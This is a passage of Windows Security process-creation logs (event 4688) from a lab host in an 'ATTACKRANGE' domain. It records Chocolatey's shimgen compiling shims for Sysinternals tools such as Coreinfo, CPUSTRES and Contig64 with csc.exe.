Mandatory Level - Creator Process ID: 0x530 - Creator Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe - Process Command Line: \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:41:00 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246423 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x9318E - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x530 - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x5d8 - Creator Process Name: C:\ProgramData\chocolatey\tools\shimgen.exe - Process Command Line: "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /checked+ /nowarn:1701,1702 /nostdlib+ /platform:AnyCPU /errorreport:prompt /main:shim.ShimProgram /errorendlocation /preferreduilang:en-US /highentropyva- /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorlib.dll" /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\System.Core.dll" /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\System.dll" /debug- /filealign:512 /optimize+ /out:"C:\ProgramData\chocolatey\bin\CPUSTRES.EXE" /target:exe /utf8output /win32icon:"C:\ProgramData\shimgen\generatedfiles\20210301_123406_7085\shim.ico" /win32manifest:"C:\ProgramData\shimgen\generatedfiles\20210301_123406_7085\app.manifest" "C:\ProgramData\shimgen\generatedfiles\20210301_123406_7085\CommandExecutor.cs" "C:\ProgramData\shimgen\generatedfiles\20210301_123406_7085\ShimProgram.cs" "C:\ProgramData\shimgen\generatedfiles\20210301_123406_7085\Assembly.cs" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:41:00 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246422 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x9318E - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xb88 - New Process Name: C:\Windows\System32\conhost.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x5d8 - Creator Process Name: C:\ProgramData\chocolatey\tools\shimgen.exe - Process Command Line: \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:41:00 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246421 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x9318E - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x5d8 - New Process Name: C:\ProgramData\chocolatey\tools\shimgen.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x830 - Creator Process Name: C:\ProgramData\chocolatey\choco.exe - Process Command Line: "C:\ProgramData\chocolatey\tools\shimgen.exe" --path="..\\lib\sysinternals\tools\CPUSTRES.EXE" --output="C:\ProgramData\chocolatey\bin\CPUSTRES.EXE" --iconpath="C:\ProgramData\chocolatey\lib\sysinternals\tools\CPUSTRES.EXE" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:41:00 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246420 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x9318E - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x64c - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0xef4 - Creator Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Administrator\AppData\Local\Temp\chocolatey\RESBEC7.tmp" "c:\ProgramData\chocolatey\bin\CSC39219CB5E64B4BEE8033AF12F48F7B8A.TMP" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:41:00 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246419 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x9318E - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x888 - New Process Name: C:\Windows\System32\conhost.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0xef4 - Creator Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe - Process Command Line: \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:41:00 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246418 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x9318E - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xef4 - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0xfb0 - Creator Process Name: C:\ProgramData\chocolatey\tools\shimgen.exe - Process Command Line: "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /checked+ /nowarn:1701,1702 /nostdlib+ /platform:AnyCPU /errorreport:prompt /main:shim.ShimProgram /errorendlocation /preferreduilang:en-US /highentropyva- /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorlib.dll" /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\System.Core.dll" /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\System.dll" /debug- /filealign:512 /optimize+ /out:"C:\ProgramData\chocolatey\bin\Coreinfo64.exe" /target:exe /utf8output /win32icon:"C:\ProgramData\shimgen\generatedfiles\20210301_123406_5210\shim.ico" /win32manifest:"C:\ProgramData\shimgen\generatedfiles\20210301_123406_5210\app.manifest" "C:\ProgramData\shimgen\generatedfiles\20210301_123406_5210\CommandExecutor.cs" "C:\ProgramData\shimgen\generatedfiles\20210301_123406_5210\ShimProgram.cs" "C:\ProgramData\shimgen\generatedfiles\20210301_123406_5210\Assembly.cs" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:41:00 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246417 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x9318E - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xfdc - New Process Name: C:\Windows\System32\conhost.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0xfb0 - Creator Process Name: C:\ProgramData\chocolatey\tools\shimgen.exe - Process Command Line: \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:41:00 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246416 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x9318E - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xfb0 - New Process Name: C:\ProgramData\chocolatey\tools\shimgen.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x830 - Creator Process Name: C:\ProgramData\chocolatey\choco.exe - Process Command Line: "C:\ProgramData\chocolatey\tools\shimgen.exe" --path="..\\lib\sysinternals\tools\Coreinfo64.exe" --output="C:\ProgramData\chocolatey\bin\Coreinfo64.exe" --iconpath="C:\ProgramData\chocolatey\lib\sysinternals\tools\Coreinfo64.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:41:00 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246415 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x9318E - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xdfc - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0xb24 - Creator Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Administrator\AppData\Local\Temp\chocolatey\RESBDEC.tmp" "c:\ProgramData\chocolatey\bin\CSC3C475E97503D45A1AE693FBA2B1534F1.TMP" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:41:00 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246414 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x9318E - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xdb4 - New Process Name: C:\Windows\System32\conhost.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0xb24 - Creator Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe - Process Command Line: \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:41:00 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246413 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x9318E - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xb24 - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0xab4 - Creator Process Name: C:\ProgramData\chocolatey\tools\shimgen.exe - Process Command Line: "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /checked+ /nowarn:1701,1702 /nostdlib+ /platform:AnyCPU /errorreport:prompt /main:shim.ShimProgram /errorendlocation /preferreduilang:en-US /highentropyva- /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorlib.dll" /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\System.Core.dll" /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\System.dll" /debug- /filealign:512 /optimize+ /out:"C:\ProgramData\chocolatey\bin\Coreinfo.exe" /target:exe /utf8output /win32icon:"C:\ProgramData\shimgen\generatedfiles\20210301_123406_2866\shim.ico" /win32manifest:"C:\ProgramData\shimgen\generatedfiles\20210301_123406_2866\app.manifest" "C:\ProgramData\shimgen\generatedfiles\20210301_123406_2866\CommandExecutor.cs" "C:\ProgramData\shimgen\generatedfiles\20210301_123406_2866\ShimProgram.cs" "C:\ProgramData\shimgen\generatedfiles\20210301_123406_2866\Assembly.cs" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:41:00 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246412 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x9318E - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x61c - New Process Name: C:\Windows\System32\conhost.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0xab4 - Creator Process Name: C:\ProgramData\chocolatey\tools\shimgen.exe - Process Command Line: \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:41:00 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246411 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x9318E - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xab4 - New Process Name: C:\ProgramData\chocolatey\tools\shimgen.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x830 - Creator Process Name: C:\ProgramData\chocolatey\choco.exe - Process Command Line: "C:\ProgramData\chocolatey\tools\shimgen.exe" --path="..\\lib\sysinternals\tools\Coreinfo.exe" --output="C:\ProgramData\chocolatey\bin\Coreinfo.exe" --iconpath="C:\ProgramData\chocolatey\lib\sysinternals\tools\Coreinfo.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:41:00 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246410 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x9318E - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xec4 - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0xe20 - Creator Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Administrator\AppData\Local\Temp\chocolatey\RESBD01.tmp" "c:\ProgramData\chocolatey\bin\CSC34CDF897DB7F498F88A2B5FA80A6861B.TMP" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:41:00 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246409 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x9318E - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x3e0 - New Process Name: C:\Windows\System32\conhost.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0xe20 - Creator Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe - Process Command Line: \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:41:00 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246408 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x9318E - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xe20 - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x384 - Creator Process Name: C:\ProgramData\chocolatey\tools\shimgen.exe - Process Command Line: "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /checked+ /nowarn:1701,1702 /nostdlib+ /platform:AnyCPU /errorreport:prompt /main:shim.ShimProgram /errorendlocation /preferreduilang:en-US /highentropyva- /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorlib.dll" /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\System.Core.dll" /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\System.dll" /debug- /filealign:512 /optimize+ /out:"C:\ProgramData\chocolatey\bin\Contig64.exe" /target:exe /utf8output /win32icon:"C:\ProgramData\shimgen\generatedfiles\20210301_123406_0523\shim.ico" /win32manifest:"C:\ProgramData\shimgen\generatedfiles\20210301_123406_0523\app.manifest" "C:\ProgramData\shimgen\generatedfiles\20210301_123406_0523\CommandExecutor.cs" "C:\ProgramData\shimgen\generatedfiles\20210301_123406_0523\ShimProgram.cs" "C:\ProgramData\shimgen\generatedfiles\20210301_123406_0523\Assembly.cs" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:41:01 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246452 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x9318E - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xd60 - New Process Name: C:\Windows\System32\conhost.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x6c - Creator Process Name: C:\ProgramData\chocolatey\tools\shimgen.exe - Process Command Line: \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User 